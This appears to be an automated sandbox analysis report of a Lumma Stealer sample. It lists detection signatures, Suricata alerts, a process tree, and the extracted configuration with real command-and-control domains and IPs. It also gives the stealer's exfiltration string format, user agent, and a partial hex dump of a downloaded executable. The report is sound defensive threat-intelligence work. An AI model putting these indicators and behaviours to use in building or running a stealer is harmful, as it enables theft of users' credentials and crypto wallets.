Edit tour

Windows Analysis Report
RZnZbS97dD.exe

Overview

General Information

Sample name:	RZnZbS97dD.exe renamed because original name is a hash value
Original sample name:	17358c0bb94bbce22d048c8869a2919f.exe
Analysis ID:	1578881
MD5:	17358c0bb94bbce22d048c8869a2919f
SHA1:	82e11d7256a8459a437e3c624cf7425d4198fea0
SHA256:	5e0c4325ca834cf9256bc5e27ff21749e05022e7822865b1e7a43f8b2fdb409f
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

RZnZbS97dD.exe (PID: 5196 cmdline: "C:\Users\user\Desktop\RZnZbS97dD.exe" MD5: 17358C0BB94BBCE22D048C8869A2919F)

chrome.exe (PID: 3028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4864 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1876,i,14361718925993332408,4187738249852284842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1184,i,340053501335636727,864007736336212206,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["sustainskelet.lat", "crosshuaht.lat", "rapeflowwj.lat", "discokeyus.lat", "grannyejh.lat", "necklacebudi.lat", "sweepyribs.lat", "energyaffai.lat", "aspecteirs.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: RZnZbS97dD.exe PID: 5196	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RZnZbS97dD.exe PID: 5196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RZnZbS97dD.exe PID: 5196	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RZnZbS97dD.exe PID: 5196	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:14.772833+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	104.21.21.99	443	TCP
2024-12-20T16:05:16.819501+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	104.21.21.99	443	TCP
2024-12-20T16:05:19.515722+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	104.21.21.99	443	TCP
2024-12-20T16:05:21.920349+0100	2028371	3	Unknown Traffic	192.168.2.7	49715	104.21.21.99	443	TCP
2024-12-20T16:05:24.366214+0100	2028371	3	Unknown Traffic	192.168.2.7	49721	104.21.21.99	443	TCP
2024-12-20T16:05:27.090901+0100	2028371	3	Unknown Traffic	192.168.2.7	49732	104.21.21.99	443	TCP
2024-12-20T16:05:29.612723+0100	2028371	3	Unknown Traffic	192.168.2.7	49739	104.21.21.99	443	TCP
2024-12-20T16:05:34.863952+0100	2028371	3	Unknown Traffic	192.168.2.7	49751	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:15.580248+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	104.21.21.99	443	TCP
2024-12-20T16:05:17.603306+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	104.21.21.99	443	TCP
2024-12-20T16:05:35.635970+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49751	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:15.580248+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49701	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:17.603306+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49703	104.21.21.99	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:14.772833+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	104.21.21.99	443	TCP
2024-12-20T16:05:16.819501+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	104.21.21.99	443	TCP
2024-12-20T16:05:19.515722+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49709	104.21.21.99	443	TCP
2024-12-20T16:05:21.920349+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49715	104.21.21.99	443	TCP
2024-12-20T16:05:24.366214+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49721	104.21.21.99	443	TCP
2024-12-20T16:05:27.090901+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49732	104.21.21.99	443	TCP
2024-12-20T16:05:29.612723+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49739	104.21.21.99	443	TCP
2024-12-20T16:05:34.863952+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49751	104.21.21.99	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:37.125254+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49757	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:13.405071+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.7	64967	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:13.260568+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.7	54584	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:13.117237+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.7	64213	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:05:22.886160+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49715	104.21.21.99	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RZnZbS97dD.exe

Avira: detected

Found malware configuration

Source: RZnZbS97dD.exe.5196.4.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["sustainskelet.lat", "crosshuaht.lat", "rapeflowwj.lat", "discokeyus.lat", "grannyejh.lat", "necklacebudi.lat", "sweepyribs.lat", "energyaffai.lat", "aspecteirs.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: RZnZbS97dD.exe	Virustotal: Detection: 54%			Perma Link
Source: RZnZbS97dD.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: RZnZbS97dD.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rapeflowwj.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crosshuaht.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: sustainskelet.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: aspecteirs.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: energyaffai.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacebudi.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: discokeyus.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: grannyejh.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: sweepyribs.lat
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: RZnZbS97dD.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49751 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: RZnZbS97dD.exe, 00000004.00000002.1723060867.00000000059F2000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.7:54584 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.7:64213 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.7:64967 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49701 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49732 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49703 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49715 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49739 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49751 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49721 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49709 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49701 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49715 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49751 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49703 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 104.21.21.99:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:05:36 GMTContent-Type: application/octet-streamContent-Length: 2790400Last-Modified: Fri, 20 Dec 2024 14:40:36 GMTConnection: keep-aliveETag: "676581e4-2a9400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 bc 64 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 62 64 79 72 75 66 66 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 77 61 73 7a 71 66 00 20 00 00 00 c0 2a 00 00 04 00 00 00 6e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 72 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.42 13.107.246.42
Source: Joe Sandbox View	IP Address: 104.21.21.99 104.21.21.99
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49732 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49751 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49757 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49715 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49721 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49739 -> 104.21.21.99:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
